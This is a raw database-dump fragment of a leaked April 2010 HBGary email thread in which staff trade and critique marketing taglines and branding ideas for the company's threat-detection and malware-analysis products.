\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Apr 12, 2010 at 7:37 AM, &lt;rich@hbgary.com&gt; wrote:\r\n\r\nI agree with Greg, detect tomorrows threats today. Powerful,\r\nforward thinking, high level which fits the larger enterprise market. \r\n\r\nSent from my Verizon Wireless BlackBerry\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt; \r\n\r\n\r\n\r\n\r\n\r\nDate: Mon, 12 Apr 2010 07:32:53 -0700\r\n\r\n\r\n\r\n\r\n\r\nTo: Aaron Barr&lt;aaron@hbgary.com&gt;; &lt;shawn@Hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc: Bob Slapnik&lt;bob@hbgary.com&gt;; Penny Leavy&lt;penny@hbgary.com&gt;; Rich\r\nCummings&lt;rich@hbgary.com&gt;;\r\nKaren Burke&lt;karenmaryburke@yahoo.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: Some New Taglines from Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI really like \r\n\r\n\r\n\r\n\r\n\r\n&quot;Detect Tommorow\'s Threats Today&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt has proactive all over it.&nbsp; It implies the threat is\r\nevolving, which licks the APT stamp.&nbsp; &quot;Detect&quot;&nbsp;implies&nbsp;we\r\nhave an Enterprise product.&nbsp; It also implies that we track said threats in\r\norder to stay ahead of them.&nbsp; With this message, we don\'t have the say\r\n\'Defend\', that\'s implied because tommorow\'s threat hasn\'t hit yet.&nbsp; \'Tommorow/Today\'\r\nis a stroke of&nbsp;genius - it puts motion into&nbsp;the message and positions\r\nHBGary as a shepard in&nbsp;the otherwise hostile evolving&nbsp;cyber-threat\r\nspace.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Apr 12, 2010 at 6:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nMaybe another tagline: \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTaking reverse engineering out of malware analysis and\r\nthreat detection. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 8:58 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s remember that we are far more than just detection.&nbsp;\r\nThe messaging needs to be inclusive of our incident response and reverse\r\nengineering as these are important components that come after detection to\r\ncombat threats.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 12, 2010 8:41 AM\r\nTo:&nbsp;Bob Slapnik; Greg Hoglund; Penny Leavy; Rich Cummings\r\nCc:&nbsp;Karen Burke\r\nSubject:&nbsp;Re: Some New Taglines from Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSome thoughts on Branding.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVision:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nProactive Defense for Advanced Threats.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Threat Detection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEnterprise Threat Detection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Threat Detection and Risk Management\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEnterprise Threat Detection and Risk Management\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTaglines:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen being compliant is just the starting point.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen being compliant isn\'t good enough\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIts 12am, do you know whats hiding in your memory?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBringing malware analysis to Net Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDetecting tomorrows threats today. (shawn)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDetection that evolves as quickly as the threat.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWords to use: Proactive Detection, Dynamic Detection,\r\nProactive Defense, Dynamic Defense, Enterprise, Advanced Threats, Risk\r\nManagement, Mission Assurance, Assured Security, Threat Detection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMy 2 cents is you need a single vision but maybe slightly\r\ntailored to different audiences.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFirst what is the Vision.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSecond what are your markets.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nThird, what are their hotbuttons in each market (compliance,\r\nintelligence, mission assurance)\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFourth, messaging per environment based on 1-3.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVision:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMarkets:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFederal:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nState/Local:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCommercial: (maybe want to break these out further banking,\r\netc) but that might also dilute your messaging.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHotbuttons:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFederal: Intelligence, Mission Assurance, Combating APT,\r\nCIP, protection of sensitive/classified information.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nState/Local: Cost/Compliance,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCommercial: Risk/Compliance, IP\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nI think usecases or summaries of how HBGary products could\r\nbe used effectively in each market segment would be helpful for people to grasp\r\nthe significance quickly.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n1. How can HBGary be used to combat APT better than anyone\r\nelse. &nbsp;How to we protect the mission, provide net defense capability.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n2. &nbsp;How does HBGary benefit compliance, IP protection,\r\nrisk mitigation. &nbsp;how does it save them money.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nMight want to illustrate our benefit with partner\r\nintegration, foundstone, verdasys, fidelis, etc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 11, 2010, at 8:05 PM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHow this?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCombat Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&#8220;combat&#8221; is both offense and defense.&nbsp; Implies an&nbsp;\r\nongoing battle.&nbsp; Works for both gov&#8217;t and private sector.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Greg Hoglund\r\n[mailto:greg@hbgary.com]&nbsp;\r\nSent:&nbsp;Sunday, April 11, 2010 2:34 PM\r\nTo:&nbsp;all@hbgary.com;\r\nKaren Burke\r\nSubject:&nbsp;Some New Taglines from Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTeam,\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHere are some taglines I just cooked up.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#1. Assured Cyber Defense against Global Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV\r\nvendors have failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Threat&quot; is a big-boy way to say APT.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies that we have an Enteprise\r\nproduct\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can\'t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- kind of wordy\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#2. Assured Defense against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; means we can deliver where IDS\r\nand AV fails\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Assured Defense&quot; implies enterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber&quot; has to be present, otherwise you can\'t\r\ntell what kind of threat defense we are addressing\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; is not as strong as\r\n&quot;Global Threats&quot; with respect to APT\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Global Cyber Threats&quot; can mean Russian\r\nbank-info stealing malware, where &quot;Global Threats&quot; implies\r\ngovernments and hostile organizations\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#3. Assured Cyber Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- \'Assured\' means we can deliver where the IDS and AV\r\nvendors have failed.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Using the word Defense implies Threat.&nbsp;&nbsp;So,\r\nthese two words are interchangable.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#4. Assurance against Global Cyber Threats\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp;&quot;Assurance&quot; implies more of an\r\nongoing&nbsp;partnership, as opposed to a product-focus\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- doesn\'t come off as wordy, lets us get the big-boy version\r\nof APT in\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- doesn\'t have the &quot;we are a product company&quot;\r\npunch\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#4. Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n-&nbsp; Using the word Protection requires additional\r\nclarifying words.&nbsp;&nbsp;Hence, &quot;Cyber Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; absolutely implies product, but not\r\nneccesarily enteprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Protection&quot; can easily be confused with consumer\r\ngrade protection &amp; AV\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#5. Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- Very broad scope, accurate for everything we do\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Defense&quot; implies enterprise product, but could\r\nalso mean incident response services\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not a strong APT equivalent,\r\nand could mean viruses and banking malware\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;Cyber Threat&quot; is not strong like &quot;Global\r\nCyber Threat&quot; or &quot;Global Threat&quot;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n#6. Cyber Threat Defense for the Enterprise\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n- &quot;for the Enterprise&quot; brings home the point that\r\nwe offer an Enterprise product\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSome variations of the above:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Protection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Cyber Threat Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCyber Assurance in a Hostile World\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAssured Defense in&nbsp;Hostile Cyberspace\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG -&nbsp;www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/11/10\r\n14:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron Barr\r\n\r\n\r\n\r\n\r\n\r\nCEO\r\n\r\n\r\n\r\n\r\n\r\nHBGary Federal Inc.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\nNo virus\r\nfound in this incoming message.\r\nChecked by AVG - www.avg.com\r\nVersion: 9.0.801 / Virus Database: 271.1.1/2793 - Release Date: 04/12/10\r\n02:32:00\r\n\r\n\r\n\r\n\r\n\r\n\r\n',16361,'aaron_hbgary_com/16361.html'),(5175,'2010-04-12','rich@hbgary.com','/aaron@hbgary.com/new/1297003792.M531225P14101Q30.eml','\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,\"Bob Slapnik\" <bob@hbgary.com>,\"Greg Hoglund\" <greg@hbgary.com>,,','Re: Some New Taglines from Greg','\r\n\r\n\r\n\r\n\r\n\r\n\r\nv\\:* {behavior:url(#default#VML);}\r\no\\:* {behavior:url(#default#VML);}\r\nw\\:* {behavior:url(#default#VML);}\r\n.shape {behavior:url(#default#VML);}\r\n\r\n\r\n\r\n\r\n\r\n\r\n \r\n\r\n \r\n  \r\n \r\n\r\n\r\nCounter implies a lot more than detection, I like counter personally.   Combat implies counter, however no one solutiin really combats cybercrime because to me that implies a full spectrum of capability.  We do have a lot more than just detection but not yet cybercrime combat.Sent from my Verizon Wireless BlackBerryFrom:  \"Bob Slapnik\" &lt;bob@hbgary.com&gt;\r\nDate: Mon, 12 Apr 2010 11:12:34 -0400To: \'Greg Hoglund\'&lt;greg@hbgary.com&gt;; &lt;rich@hbgary.com&gt;Cc: \'Aaron Barr\'&lt;aaron@hbgary.com&gt;; &lt;shawn@hbgary.com&gt;; \'Penny Hoglund\'&lt;penny@hbgary.com&gt;; \'Karen Burke\'&lt;karenmaryburke@yahoo.com&gt;Subject: RE: Some New Taglines from Greg\r\n\r\n\r\n\r\nYeah, I like\r\n\r\nCounter&nbsp;Tommorow\'s Cyber Threats Today\r\n\r\nCombat&nbsp;Tommorow\'s Cyber Threats Today\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n&nbsp;\r\n\r\n\r\n\r\nFrom: Greg Hoglund\r\n[mailto:greg@hbgary.com] \r\nSent: Monday, April 12, 2010 10:45 AM\r\nTo: rich@hbgary.com\r\nCc: Aaron Barr; shawn@hbgary.com; Bob Slapnik; Penny Hoglund; Karen\r\nBurke\r\nSubject: Re: Some New Taglines from Greg\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nA slight variation on the &quot;Detect Tommorow\'s Threats\r\nToday&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nreplace &quot;Detect&quot; with &quot;Counter&quot;,\r\n&quot;Combat&quot; - has more than just detection that way\r\n\r\n\r\n\r\n\r\n\r\nCounter&nbsp;Tommorow\'s Threats Today\r\n\r\n\r\n\r\n\r\n\r\nCombat&nbsp;Tommorow\'s Threats Today\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAnd, you can slip in the word Cyber too:\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nDetect Tommorow\'s Cyber-Threats Today\r\n\r\n\r\n\r\n\r\n\r\n\r\nMeh, I still like the first one... \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Apr 12, 2010 at 7:37 AM, &lt;rich@hbgary.com&gt; wrote:\r\n\r\nI agree with Greg, detect tomorrows threats today. Powerful,\r\nforward thinking, high level which fits the larger enterprise market. \r\n\r\nSent from my Verizon Wireless BlackBerry\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom: Greg Hoglund &lt;greg@hbgary.com&gt; \r\n\r\n\r\n\r\n\r\n\r\nDate: Mon, 12 Apr 2010 07:32:53 -0700\r\n\r\n\r\n\r\n\r\n\r\nTo: Aaron Barr&lt;aaron@hbgary.com&gt;; &lt;shawn@Hbgary.com&gt;\r\n\r\n\r\n\r\n\r\n\r\nCc: Bob Slapnik&lt;bob@hbgary.com&gt;; Penny Leavy&lt;penny@hbgary.com&gt;; Rich\r\nCummings&lt;rich@hbgary.com&gt;;\r\nKaren Burke&lt;karenmaryburke@yahoo.com&gt;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nSubject: Re: Some New Taglines from Greg\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nI really like \r\n\r\n\r\n\r\n\r\n\r\n&quot;Detect Tommorow\'s Threats Today&quot;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nIt has proactive all over it.&nbsp; It implies the threat is\r\nevolving, which licks the APT stamp.&nbsp; &quot;Detect&quot;&nbsp;implies&nbsp;we\r\nhave an Enterprise product.&nbsp; It also implies that we track said threats in\r\norder to stay ahead of them.&nbsp; With this message, we don\'t have the say\r\n\'Defend\', that\'s implied because tommorow\'s threat hasn\'t hit yet.&nbsp; \'Tommorow/Today\'\r\nis a stroke of&nbsp;genius - it puts motion into&nbsp;the message and positions\r\nHBGary as a shepard in&nbsp;the otherwise hostile evolving&nbsp;cyber-threat\r\nspace.&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n-Greg\r\n\r\n\r\n\r\n\r\n\r\nOn Mon, Apr 12, 2010 at 6:08 AM, Aaron Barr &lt;aaron@hbgary.com&gt; wrote:\r\n\r\n\r\n\r\nMaybe another tagline: \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nTaking reverse engineering out of malware analysis and\r\nthreat detection. \r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nAaron \r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nOn Apr 12, 2010, at 8:58 AM, Bob Slapnik wrote:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nLet&#8217;s remember that we are far more than just detection.&nbsp;\r\nThe messaging needs to be inclusive of our incident response and reverse\r\nengineering as these are important components that come after detection to\r\ncombat threats.\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nFrom:&nbsp;Aaron Barr\r\n[mailto:aaron@hbgary.com]&nbsp;\r\nSent:&nbsp;Monday, April 12, 2010 8:41 AM\r\nTo:&nbsp;Bob Slapnik; Greg Hoglund; Penny Leavy; Rich Cummings\r\nCc:&nbsp;Karen Burke\r\nSubject:&nbsp;Re: Some New Taglines from Greg\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\nSome thoughts on Branding.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nVision:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nProactive Defense for Advanced Threats.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Threat Detection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEnterprise Threat Detection\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nAdvanced Threat Detection and Risk Management\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nEnterprise Threat Detection and Risk Management\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n&nbsp;\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nTaglines:\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen being compliant is just the starting point.\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nWhen being compliant isn\'t good enough\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nIts 12am, do you know whats hiding in your memory?\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nBringing malware analysis to Net Defense\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\n\r\nDetecting tomorrows threats today. 